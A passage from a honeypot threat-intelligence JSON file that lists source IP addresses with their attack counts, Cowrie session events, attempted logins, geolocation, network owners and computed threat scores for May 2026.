        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 310,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-05-02T06:46:56.732000+00:00",
        "last_seen_30d": "2026-05-31T15:14:58.753000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 185,
        "Honeytrap": 79,
        "Mailoney": 12,
        "H0neytr4p": 9,
        "Cowrie": 8,
        "ConPot": 7,
        "Adbhoney": 4,
        "CitrixHoneypot": 2,
        "Tanner": 2,
        "Dionaea": 1,
        "Miniprint": 1
      }
    },
    "80.82.77.33": {
      "attack_count": 8,
      "first_seen": "2026-05-24T11:39:14.927Z",
      "last_seen": "2026-05-24T11:39:17.458Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 96.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 495,
        "days_active_30d": 30,
        "ports_targeted_30d": 88,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T07:41:43.389000+00:00",
        "last_seen_30d": "2026-05-31T20:19:27.471000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 368,
        "Honeytrap": 102,
        "Ciscoasa": 8,
        "Cowrie": 8,
        "Honeyaml": 4,
        "ElasticPot": 2,
        "Dicompot": 1,
        "Dionaea": 1,
        "Mailoney": 1
      }
    },
    "179.90.7.141": {
      "attack_count": 6,
      "first_seen": "2026-05-21T08:50:26.529Z",
      "last_seen": "2026-05-21T12:31:21.351Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T08:50:26.529000+00:00",
        "last_seen_30d": "2026-05-21T12:32:24.176000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "186.226.56.135": {
      "attack_count": 6,
      "first_seen": "2026-05-14T00:49:43.545Z",
      "last_seen": "2026-05-14T00:49:51.009Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T00:49:43.545000+00:00",
        "last_seen_30d": "2026-05-14T00:50:54.687000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "201.238.0.75": {
      "attack_count": 6,
      "first_seen": "2026-05-20T07:16:36.972Z",
      "last_seen": "2026-05-20T09:12:00.708Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:16:36.972000+00:00",
        "last_seen_30d": "2026-05-20T09:13:06.179000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "217.97.167.238": {
      "attack_count": 6,
      "first_seen": "2026-05-19T18:11:06.689Z",
      "last_seen": "2026-05-19T18:36:51.435Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Lodz",
      "asn": 5617,
      "as_org": "Orange Polska Spolka Akcyjna",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:11:06.689000+00:00",
        "last_seen_30d": "2026-05-19T18:38:00.806000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "66.228.53.78": {
      "attack_count": 6,
      "first_seen": "2026-05-22T10:20:02.899Z",
      "last_seen": "2026-05-22T10:20:03.235Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 83.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 28,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T10:31:19+00:00",
        "last_seen_30d": "2026-05-29T06:24:24.925000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 40,
        "Cowrie": 6,
        "ConPot": 3,
        "Tanner": 1
      }
    },
    "91.204.209.4": {
      "attack_count": 6,
      "first_seen": "2026-05-30T23:29:34.537Z",
      "last_seen": "2026-05-30T23:29:41.662Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 52148,
      "as_org": "Enix Ltd",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T23:29:34.537000+00:00",
        "last_seen_30d": "2026-05-30T23:30:50.981000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "185.65.133.169": {
      "attack_count": 5,
      "first_seen": "2026-05-25T11:58:00.185Z",
      "last_seen": "2026-05-25T11:58:02.910Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "5aC4uR8J2GOCZFGb"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 39351,
      "as_org": "31173 Services AB",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T11:58:00.185000+00:00",
        "last_seen_30d": "2026-05-25T11:59:03.260000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "37.120.213.13": {
      "attack_count": 5,
      "first_seen": "2026-05-07T16:53:21.080Z",
      "last_seen": "2026-05-07T16:53:23.213Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 1.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 2,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T03:41:08.863000+00:00",
        "last_seen_30d": "2026-05-07T20:31:20.059000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Tanner": 44,
        "Cowrie": 5
      }
    },
    "65.49.1.162": {
      "attack_count": 5,
      "first_seen": "2026-05-13T11:44:31.574Z",
      "last_seen": "2026-05-24T12:29:07.664Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 30,
        "ports_targeted_30d": 91,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T04:17:17.652000+00:00",
        "last_seen_30d": "2026-05-31T13:54:05.707000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 228,
        "Honeytrap": 103,
        "Miniprint": 10,
        "H0neytr4p": 8,
        "Cowrie": 5,
        "Adbhoney": 4,
        "Dionaea": 3,
        "Ipphoney": 2
      }
    },
    "112.81.45.241": {
      "attack_count": 4,
      "first_seen": "2026-05-20T06:57:09.819Z",
      "last_seen": "2026-05-20T07:03:37.041Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T06:57:09.819000+00:00",
        "last_seen_30d": "2026-05-20T07:04:38.508000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "113.59.150.123": {
      "attack_count": 4,
      "first_seen": "2026-05-04T04:20:25.610Z",
      "last_seen": "2026-05-05T17:45:35.260Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 9981,
      "as_org": "Saero Network Service LTD",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:20:25.610000+00:00",
        "last_seen_30d": "2026-05-22T18:11:44.457000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "45.233.94.135": {
      "attack_count": 4,
      "first_seen": "2026-05-23T07:07:19.274Z",
      "last_seen": "2026-05-23T14:04:21.054Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": null,
      "asn": 266756,
      "as_org": "EBESTPHONE ECUADOR S.A.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:07:19.274000+00:00",
        "last_seen_30d": "2026-05-23T14:05:29.719000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "66.132.172.203": {
      "attack_count": 4,
      "first_seen": "2026-05-23T23:18:39.847Z",
      "last_seen": "2026-05-23T23:18:54.875Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 87.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T01:21:42+00:00",
        "last_seen_30d": "2026-05-30T22:35:39.570000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 40,
        "ElasticPot": 13,
        "Cowrie": 4,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "66.132.224.236": {
      "attack_count": 4,
      "first_seen": "2026-05-15T05:34:27.677Z",
      "last_seen": "2026-05-15T05:34:43.041Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 69.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 21,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T12:35:12+00:00",
        "last_seen_30d": "2026-05-30T07:34:37.930000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 32,
        "Cowrie": 4
      }
    },
    "190.181.44.194": {
      "attack_count": 3,
      "first_seen": "2026-05-31T20:17:43.484Z",
      "last_seen": "2026-05-31T20:17:43.485Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Cochabamba",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T20:17:43.484000+00:00",
        "last_seen_30d": "2026-05-31T20:18:48.663000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "91.196.152.179": {
      "attack_count": 3,
      "first_seen": "2026-05-30T00:23:05.683Z",
      "last_seen": "2026-05-30T00:23:05.685Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 73.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 27,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T10:11:36+00:00",
        "last_seen_30d": "2026-05-30T00:24:07.310000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 24,
        "Cowrie": 3
      }
    },
    "103.69.151.242": {
      "attack_count": 2,
      "first_seen": "2026-05-08T10:11:58.837Z",
      "last_seen": "2026-05-08T10:12:12.283Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 131464,
      "as_org": "Digi Jadoo Broadband Ltd",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:11:58.837000+00:00",
        "last_seen_30d": "2026-05-08T10:13:20.260000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.227.109.194": {
      "attack_count": 2,
      "first_seen": "2026-05-21T07:45:06.726Z",
      "last_seen": "2026-05-21T07:45:22.530Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:45:06.726000+00:00",
        "last_seen_30d": "2026-05-21T07:46:24.563000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.161.116.5": {
      "attack_count": 2,
      "first_seen": "2026-05-31T20:47:16.439Z",
      "last_seen": "2026-05-31T20:47:29.993Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T20:47:16.439000+00:00",
        "last_seen_30d": "2026-05-31T20:48:32.240000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.26.225.79": {
      "attack_count": 2,
      "first_seen": "2026-05-12T14:58:44.142Z",
      "last_seen": "2026-05-12T14:58:58.074Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Ban Kaeng",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T14:58:44.142000+00:00",
        "last_seen_30d": "2026-05-12T14:59:58.721000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "144.124.192.225": {
      "attack_count": 2,
      "first_seen": "2026-05-10T02:34:08.081Z",
      "last_seen": "2026-05-10T02:34:21.418Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T02:34:08.081000+00:00",
        "last_seen_30d": "2026-05-10T02:35:23.178000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "154.125.136.252": {
      "attack_count": 2,
      "first_seen": "2026-05-10T22:32:22.332Z",
      "last_seen": "2026-05-10T22:32:34.876Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T22:32:22.332000+00:00",
        "last_seen_30d": "2026-05-10T22:33:38.489000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.160.203.146": {
      "attack_count": 2,
      "first_seen": "2026-05-06T04:14:06.613Z",
      "last_seen": "2026-05-06T04:14:19.334Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 12297,
      "as_org": "Telecom Armenia OJSC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:14:06.613000+00:00",
        "last_seen_30d": "2026-05-06T04:15:27.208000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.34.114.118": {
      "attack_count": 2,
      "first_seen": "2026-05-21T05:32:43.273Z",
      "last_seen": "2026-05-21T05:32:56.546Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Paulista",
      "asn": 26615,
      "as_org": "TIM SA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T05:32:43.273000+00:00",
        "last_seen_30d": "2026-05-21T05:33:56.952000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.94.229.81": {
      "attack_count": 2,
      "first_seen": "2026-05-05T23:49:15.640Z",
      "last_seen": "2026-05-05T23:49:29.941Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Ciudad del Este",
      "asn": 27895,
      "as_org": "Nucleo S.A.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:49:15.640000+00:00",
        "last_seen_30d": "2026-05-05T23:50:33.850000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.53.167.160": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:42:12.351Z",
      "last_seen": "2026-05-19T06:42:25.493Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phitsanulok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
